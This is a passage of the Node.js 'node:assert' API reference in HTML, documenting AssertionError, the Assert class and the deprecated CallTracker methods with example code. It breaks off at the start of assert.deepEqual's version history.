</section><section><h3>Class: <code>assert.AssertionError</code><span><a class="mark" href="#class-assertassertionerror" id="class-assertassertionerror">#</a></span><a aria-hidden="true" class="legacy" id="assert_class_assert_assertionerror"></a></h3>
<ul>
<li>Extends: <a href="errors.html#class-error" class="type">&#x3C;errors.Error></a></li>
</ul>
<p>Indicates the failure of an assertion. All errors thrown by the <code>node:assert</code>
module will be instances of the <code>AssertionError</code> class.</p>
<div>
<h4><code>new assert.AssertionError(options)</code><span><a class="mark" href="#new-assertassertionerroroptions" id="new-assertassertionerroroptions">#</a></span><a aria-hidden="true" class="legacy" id="assert_new_assert_assertionerror_options"></a></h4>
<div class="api_metadata">
<span>Added in: v0.1.21</span>
</div>
<ul>
<li><code>options</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a>
<ul>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> If provided, the error message is set to this value.</li>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a> The <code>actual</code> property on the error instance.</li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a> The <code>expected</code> property on the error instance.</li>
<li><code>operator</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> The <code>operator</code> property on the error instance.</li>
<li><code>stackStartFn</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a> If provided, the generated stack trace omits
frames before this function.</li>
<li><code>diff</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> If set to <code>'full'</code>, shows the full diff in assertion errors. Defaults to <code>'simple'</code>.
Accepted values: <code>'simple'</code>, <code>'full'</code>.</li>
</ul>
</li>
</ul>
<p>A subclass of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> that indicates the failure of an assertion.</p>
<p>All instances contain the built-in <code>Error</code> properties (<code>message</code> and <code>name</code>)
and:</p>
<ul>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a> Set to the <code>actual</code> argument for methods such as
<a href="#assertstrictequalactual-expected-message"><code>assert.strictEqual()</code></a>.</li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a> Set to the <code>expected</code> value for methods such as
<a href="#assertstrictequalactual-expected-message"><code>assert.strictEqual()</code></a>.</li>
<li><code>generatedMessage</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type" class="type">&#x3C;boolean></a> Indicates if the message was auto-generated
(<code>true</code>) or not.</li>
<li><code>code</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Value is always <code>ERR_ASSERTION</code> to show that the error is an
assertion error.</li>
<li><code>operator</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Set to the passed in operator value.</li>
</ul>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

<span class="hljs-comment">// Generate an AssertionError to compare the error message later:</span>
<span class="hljs-keyword">const</span> { message } = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">AssertionError</span>({
  <span class="hljs-attr">actual</span>: <span class="hljs-number">1</span>,
  <span class="hljs-attr">expected</span>: <span class="hljs-number">2</span>,
  <span class="hljs-attr">operator</span>: <span class="hljs-string">'strictEqual'</span>,
});

<span class="hljs-comment">// Verify error output:</span>
<span class="hljs-keyword">try</span> {
  assert.<span class="hljs-title function_">strictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>);
} <span class="hljs-keyword">catch</span> (err) {
  <span class="hljs-title function_">assert</span>(err <span class="hljs-keyword">instanceof</span> assert.<span class="hljs-property">AssertionError</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">message</span>, message);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">name</span>, <span class="hljs-string">'AssertionError'</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">actual</span>, <span class="hljs-number">1</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">expected</span>, <span class="hljs-number">2</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">code</span>, <span class="hljs-string">'ERR_ASSERTION'</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">operator</span>, <span class="hljs-string">'strictEqual'</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">generatedMessage</span>, <span class="hljs-literal">true</span>);
}</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

<span class="hljs-comment">// Generate an AssertionError to compare the error message later:</span>
<span class="hljs-keyword">const</span> { message } = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">AssertionError</span>({
  <span class="hljs-attr">actual</span>: <span class="hljs-number">1</span>,
  <span class="hljs-attr">expected</span>: <span class="hljs-number">2</span>,
  <span class="hljs-attr">operator</span>: <span class="hljs-string">'strictEqual'</span>,
});

<span class="hljs-comment">// Verify error output:</span>
<span class="hljs-keyword">try</span> {
  assert.<span class="hljs-title function_">strictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>);
} <span class="hljs-keyword">catch</span> (err) {
  <span class="hljs-title function_">assert</span>(err <span class="hljs-keyword">instanceof</span> assert.<span class="hljs-property">AssertionError</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">message</span>, message);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">name</span>, <span class="hljs-string">'AssertionError'</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">actual</span>, <span class="hljs-number">1</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">expected</span>, <span class="hljs-number">2</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">code</span>, <span class="hljs-string">'ERR_ASSERTION'</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">operator</span>, <span class="hljs-string">'strictEqual'</span>);
  assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">generatedMessage</span>, <span class="hljs-literal">true</span>);
}</code><button class="copy-button">copy</button></pre>
</div>
</section><section><h3>Class: <code>assert.Assert</code><span><a class="mark" href="#class-assertassert" id="class-assertassert">#</a></span><a aria-hidden="true" class="legacy" id="assert_class_assert_assert"></a></h3>
<div class="api_metadata">
<span>Added in: v22.19.0</span>
</div>
<p>The <code>Assert</code> class allows creating independent assertion instances with custom options.</p>
<div>
<h4><code>new assert.Assert([options])</code><span><a class="mark" href="#new-assertassertoptions" id="new-assertassertoptions">#</a></span><a aria-hidden="true" class="legacy" id="assert_new_assert_assert_options"></a></h4>
<ul>
<li><code>options</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a>
<ul>
<li><code>diff</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> If set to <code>'full'</code>, shows the full diff in assertion errors. Defaults to <code>'simple'</code>.
Accepted values: <code>'simple'</code>, <code>'full'</code>.</li>
<li><code>strict</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type" class="type">&#x3C;boolean></a> If set to <code>true</code>, non-strict methods behave like their
corresponding strict methods. Defaults to <code>true</code>.</li>
</ul>
</li>
</ul>
<p>Creates a new assertion instance. The <code>diff</code> option controls the verbosity of diffs in assertion error messages.</p>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { <span class="hljs-title class_">Assert</span> } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);
<span class="hljs-keyword">const</span> assertInstance = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Assert</span>({ <span class="hljs-attr">diff</span>: <span class="hljs-string">'full'</span> });
assertInstance.<span class="hljs-title function_">deepStrictEqual</span>({ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> }, { <span class="hljs-attr">a</span>: <span class="hljs-number">2</span> });
<span class="hljs-comment">// Shows a full diff in the error message.</span></code> <button class="copy-button">copy</button></pre>
<p><strong>Important</strong>: When destructuring assertion methods from an <code>Assert</code> instance,
the methods lose their connection to the instance's configuration options (such as <code>diff</code> and <code>strict</code> settings).
The destructured methods will fall back to default behavior instead.</p>
<pre><code class="language-js"><span class="hljs-keyword">const</span> myAssert = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Assert</span>({ <span class="hljs-attr">diff</span>: <span class="hljs-string">'full'</span> });

<span class="hljs-comment">// This works as expected - uses 'full' diff</span>
myAssert.<span class="hljs-title function_">strictEqual</span>({ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> }, { <span class="hljs-attr">b</span>: { <span class="hljs-attr">c</span>: <span class="hljs-number">1</span> } });

<span class="hljs-comment">// This loses the 'full' diff setting - falls back to default 'simple' diff</span>
<span class="hljs-keyword">const</span> { strictEqual } = myAssert;
<span class="hljs-title function_">strictEqual</span>({ <span class="hljs-attr">a</span>: <span class="hljs-number">1</span> }, { <span class="hljs-attr">b</span>: { <span class="hljs-attr">c</span>: <span class="hljs-number">1</span> } });</code> <button class="copy-button">copy</button></pre>
<p>When destructured, methods lose access to the instance's <code>this</code> context and revert to default assertion behavior
(diff: 'simple', non-strict mode).
To maintain custom options when using destructured methods, avoid
destructuring and call methods directly on the instance.</p>
</div>
</section><section><h3>Class: <code>assert.CallTracker</code><span><a class="mark" href="#class-assertcalltracker" id="class-assertcalltracker">#</a></span><a aria-hidden="true" class="legacy" id="assert_class_assert_calltracker"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v20.1.0</td>
<td><p>the <code>assert.CallTracker</code> class has been deprecated and will be removed in a future version.</p></td></tr>
<tr><td>v14.2.0, v12.19.0</td>
<td><p><span>Added in: v14.2.0, v12.19.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<p></p><div class="api_stability api_stability_0"><a href="documentation.html#stability-index">Stability: 0</a> - Deprecated</div><p></p>
<p>This feature is deprecated and will be removed in a future version.
Please consider using alternatives such as the
<a href="test.html#mocking"><code>mock</code></a> helper function.</p>
<div>
<h4><code>new assert.CallTracker()</code><span><a class="mark" href="#new-assertcalltracker" id="new-assertcalltracker">#</a></span><a aria-hidden="true" class="legacy" id="assert_new_assert_calltracker"></a></h4>
<div class="api_metadata">
<span>Added in: v14.2.0, v12.19.0</span>
</div>
<p>Creates a new <a href="#class-assertcalltracker"><code>CallTracker</code></a> object which can be used to track if functions
were called a specific number of times. The <code>tracker.verify()</code> must be called
for the verification to take place. The usual pattern would be to call it in a
<a href="process.html#event-exit"><code>process.on('exit')</code></a> handler.</p>

<pre class="with-40-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;
<span class="hljs-keyword">import</span> process <span class="hljs-keyword">from</span> <span class="hljs-string">'node:process'</span>;

<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}

<span class="hljs-comment">// callsfunc() must be called exactly 1 time before tracker.verify().</span>
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func, <span class="hljs-number">1</span>);

<span class="hljs-title function_">callsfunc</span>();

<span class="hljs-comment">// Calls tracker.verify() and verifies if all tracker.calls() functions have</span>
<span class="hljs-comment">// been called exact times.</span>
process.<span class="hljs-title function_">on</span>(<span class="hljs-string">'exit'</span>, <span class="hljs-function">() =></span> {
  tracker.<span class="hljs-title function_">verify</span>();
});</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);
<span class="hljs-keyword">const</span> process = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:process'</span>);

<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}

<span class="hljs-comment">// callsfunc() must be called exactly 1 time before tracker.verify().</span>
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func, <span class="hljs-number">1</span>);

<span class="hljs-title function_">callsfunc</span>();

<span class="hljs-comment">// Calls tracker.verify() and verifies if all tracker.calls() functions have</span>
<span class="hljs-comment">// been called exact times.</span>
process.<span class="hljs-title function_">on</span>(<span class="hljs-string">'exit'</span>, <span class="hljs-function">() =></span> {
  tracker.<span class="hljs-title function_">verify</span>();
});</code><button class="copy-button">copy</button></pre>
</div><div>
<h4><code>tracker.calls([fn][, exact])</code><span><a class="mark" href="#trackercallsfn-exact" id="trackercallsfn-exact">#</a></span><a aria-hidden="true" class="legacy" id="assert_tracker_calls_fn_exact"></a></h4>
<div class="api_metadata">
<span>Added in: v14.2.0, v12.19.0</span>
</div>
<ul>
<li><code>fn</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a> <strong>Default:</strong> A no-op function.</li>
<li><code>exact</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a> <strong>Default:</strong> <code>1</code>.</li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a> A function that wraps <code>fn</code>.</li>
</ul>
<p>The wrapper function is expected to be called exactly <code>exact</code> times. If the
function has not been called exactly <code>exact</code> times when
<a href="#trackerverify"><code>tracker.verify()</code></a> is called, then <a href="#trackerverify"><code>tracker.verify()</code></a> will throw an
error.</p>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

<span class="hljs-comment">// Creates call tracker.</span>
<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}

<span class="hljs-comment">// Returns a function that wraps func() that must be called exact times</span>
<span class="hljs-comment">// before tracker.verify().</span>
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

<span class="hljs-comment">// Creates call tracker.</span>
<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}

<span class="hljs-comment">// Returns a function that wraps func() that must be called exact times</span>
<span class="hljs-comment">// before tracker.verify().</span>
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func);</code><button class="copy-button">copy</button></pre>
</div><div>
<h4><code>tracker.getCalls(fn)</code><span><a class="mark" href="#trackergetcallsfn" id="trackergetcallsfn">#</a></span><a aria-hidden="true" class="legacy" id="assert_tracker_getcalls_fn"></a></h4>
<div class="api_metadata">
<span>Added in: v18.8.0, v16.18.0</span>
</div>
<ul>
<li>
<p><code>fn</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a></p>
</li>
<li>
<p>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" class="type">&#x3C;Array></a> An array with all the calls to a tracked function.</p>
</li>
<li>
<p>Object <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a></p>
<ul>
<li><code>thisArg</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a></li>
<li><code>arguments</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" class="type">&#x3C;Array></a> the arguments passed to the tracked function</li>
</ul>
</li>
</ul>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func);
<span class="hljs-title function_">callsfunc</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>);

assert.<span class="hljs-title function_">deepStrictEqual</span>(tracker.<span class="hljs-title function_">getCalls</span>(callsfunc),
                       [{ <span class="hljs-attr">thisArg</span>: <span class="hljs-literal">undefined</span>, <span class="hljs-attr">arguments</span>: [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>] }]);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

<span class="hljs-comment">// Creates call tracker.</span>
<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func);
<span class="hljs-title function_">callsfunc</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>);

assert.<span class="hljs-title function_">deepStrictEqual</span>(tracker.<span class="hljs-title function_">getCalls</span>(callsfunc),
                       [{ <span class="hljs-attr">thisArg</span>: <span class="hljs-literal">undefined</span>, <span class="hljs-attr">arguments</span>: [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>] }]);</code><button class="copy-button">copy</button></pre>
</div><div>
<h4><code>tracker.report()</code><span><a class="mark" href="#trackerreport" id="trackerreport">#</a></span><a aria-hidden="true" class="legacy" id="assert_tracker_report"></a></h4>
<div class="api_metadata">
<span>Added in: v14.2.0, v12.19.0</span>
</div>
<ul>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" class="type">&#x3C;Array></a> An array of objects containing information about the wrapper
functions returned by <a href="#trackercallsfn-exact"><code>tracker.calls()</code></a>.</li>
<li>Object <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a>
<ul>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a> The actual number of times the function was called.</li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a> The number of times the function was expected to be
called.</li>
<li><code>operator</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> The name of the function that is wrapped.</li>
<li><code>stack</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a> A stack trace of the function.</li>
</ul>
</li>
</ul>
<p>The arrays contains information about the expected and actual number of calls of
the functions that have not been called the expected number of times.</p>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

<span class="hljs-comment">// Creates call tracker.</span>
<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}

<span class="hljs-comment">// Returns a function that wraps func() that must be called exact times</span>
<span class="hljs-comment">// before tracker.verify().</span>
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func, <span class="hljs-number">2</span>);

<span class="hljs-comment">// Returns an array containing information on callsfunc()</span>
<span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(tracker.<span class="hljs-title function_">report</span>());
<span class="hljs-comment">// [</span>
<span class="hljs-comment">//  {</span>
<span class="hljs-comment">//    message: 'Expected the func function to be executed 2 time(s) but was</span>
<span class="hljs-comment">//    executed 0 time(s).',</span>
<span class="hljs-comment">//    actual: 0,</span>
<span class="hljs-comment">//    expected: 2,</span>
<span class="hljs-comment">//    operator: 'func',</span>
<span class="hljs-comment">//    stack: stack trace</span>
<span class="hljs-comment">//  }</span>
<span class="hljs-comment">// ]</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

<span class="hljs-comment">// Creates call tracker.</span>
<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}

<span class="hljs-comment">// Returns a function that wraps func() that must be called exact times</span>
<span class="hljs-comment">// before tracker.verify().</span>
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func, <span class="hljs-number">2</span>);

<span class="hljs-comment">// Returns an array containing information on callsfunc()</span>
<span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(tracker.<span class="hljs-title function_">report</span>());
<span class="hljs-comment">// [</span>
<span class="hljs-comment">//  {</span>
<span class="hljs-comment">//    message: 'Expected the func function to be executed 2 time(s) but was</span>
<span class="hljs-comment">//    executed 0 time(s).',</span>
<span class="hljs-comment">//    actual: 0,</span>
<span class="hljs-comment">//    expected: 2,</span>
<span class="hljs-comment">//    operator: 'func',</span>
<span class="hljs-comment">//    stack: stack trace</span>
<span class="hljs-comment">//  }</span>
<span class="hljs-comment">// ]</span></code><button class="copy-button">copy</button></pre>
</div><div>
<h4><code>tracker.reset([fn])</code><span><a class="mark" href="#trackerresetfn" id="trackerresetfn">#</a></span><a aria-hidden="true" class="legacy" id="assert_tracker_reset_fn"></a></h4>
<div class="api_metadata">
<span>Added in: v18.8.0, v16.18.0</span>
</div>
<ul>
<li><code>fn</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a> a tracked function to reset.</li>
</ul>
<p>Reset calls of the call tracker.
If a tracked function is passed as an argument, the calls will be reset for it.
If no arguments are passed, all tracked functions will be reset.</p>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func);

<span class="hljs-title function_">callsfunc</span>();
<span class="hljs-comment">// Tracker was called once</span>
assert.<span class="hljs-title function_">strictEqual</span>(tracker.<span class="hljs-title function_">getCalls</span>(callsfunc).<span class="hljs-property">length</span>, <span class="hljs-number">1</span>);

tracker.<span class="hljs-title function_">reset</span>(callsfunc);
assert.<span class="hljs-title function_">strictEqual</span>(tracker.<span class="hljs-title function_">getCalls</span>(callsfunc).<span class="hljs-property">length</span>, <span class="hljs-number">0</span>);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func);

<span class="hljs-title function_">callsfunc</span>();
<span class="hljs-comment">// Tracker was called once</span>
assert.<span class="hljs-title function_">strictEqual</span>(tracker.<span class="hljs-title function_">getCalls</span>(callsfunc).<span class="hljs-property">length</span>, <span class="hljs-number">1</span>);

tracker.<span class="hljs-title function_">reset</span>(callsfunc);
assert.<span class="hljs-title function_">strictEqual</span>(tracker.<span class="hljs-title function_">getCalls</span>(callsfunc).<span class="hljs-property">length</span>, <span class="hljs-number">0</span>);</code><button class="copy-button">copy</button></pre>
</div><div>
<h4><code>tracker.verify()</code><span><a class="mark" href="#trackerverify" id="trackerverify">#</a></span><a aria-hidden="true" class="legacy" id="assert_tracker_verify"></a></h4>
<div class="api_metadata">
<span>Added in: v14.2.0, v12.19.0</span>
</div>
<p>Iterates through the list of functions passed to
<a href="#trackercallsfn-exact"><code>tracker.calls()</code></a> and will throw an error for functions that
have not been called the expected number of times.</p>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

<span class="hljs-comment">// Creates call tracker.</span>
<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}

<span class="hljs-comment">// Returns a function that wraps func() that must be called exact times</span>
<span class="hljs-comment">// before tracker.verify().</span>
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func, <span class="hljs-number">2</span>);

<span class="hljs-title function_">callsfunc</span>();

<span class="hljs-comment">// Will throw an error since callsfunc() was only called once.</span>
tracker.<span class="hljs-title function_">verify</span>();</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

<span class="hljs-comment">// Creates call tracker.</span>
<span class="hljs-keyword">const</span> tracker = <span class="hljs-keyword">new</span> assert.<span class="hljs-title class_">CallTracker</span>();

<span class="hljs-keyword">function</span> <span class="hljs-title function_">func</span>(<span class="hljs-params"></span>) {}

<span class="hljs-comment">// Returns a function that wraps func() that must be called exact times</span>
<span class="hljs-comment">// before tracker.verify().</span>
<span class="hljs-keyword">const</span> callsfunc = tracker.<span class="hljs-title function_">calls</span>(func, <span class="hljs-number">2</span>);

<span class="hljs-title function_">callsfunc</span>();

<span class="hljs-comment">// Will throw an error since callsfunc() was only called once.</span>
tracker.<span class="hljs-title function_">verify</span>();</code><button class="copy-button">copy</button></pre>
</div>
</section><section><h3><code>assert(value[, message])</code><span><a class="mark" href="#assertvalue-message" id="assertvalue-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_value_message"></a></h3>
<div class="api_metadata">
<span>Added in: v0.5.9</span>
</div>
<ul>
<li><code>value</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a> The input that is checked for being truthy.</li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p>An alias of <a href="#assertokvalue-message"><code>assert.ok()</code></a>.</p>
</section><section><h3><code>assert.deepEqual(actual, expected[, message])</code><span><a class="mark" href="#assertdeepequalactual-expected-message" id="assertdeepequalactual-expected-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_deepequal_actual_expected_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v22.2.0</td>
<td><p>Error cause and errors properties are now compared as well.</p></td></tr>
<tr><td>v18.0.0</td>
<td><p>Regular expressions lastIndex property is now compared as well.</p></td></tr>
<tr><td>v16.0.0, v14.18.0</td>
